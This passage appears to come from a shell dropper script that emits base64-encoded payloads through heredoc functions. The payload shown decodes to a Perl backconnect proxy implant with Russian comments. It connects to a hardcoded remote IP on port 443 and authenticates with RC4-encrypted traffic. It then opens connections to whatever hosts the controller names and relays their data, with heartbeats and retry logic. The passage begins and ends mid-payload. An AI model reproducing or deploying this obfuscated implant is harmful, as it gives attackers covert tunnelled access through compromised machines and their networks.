ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_23() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODAnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
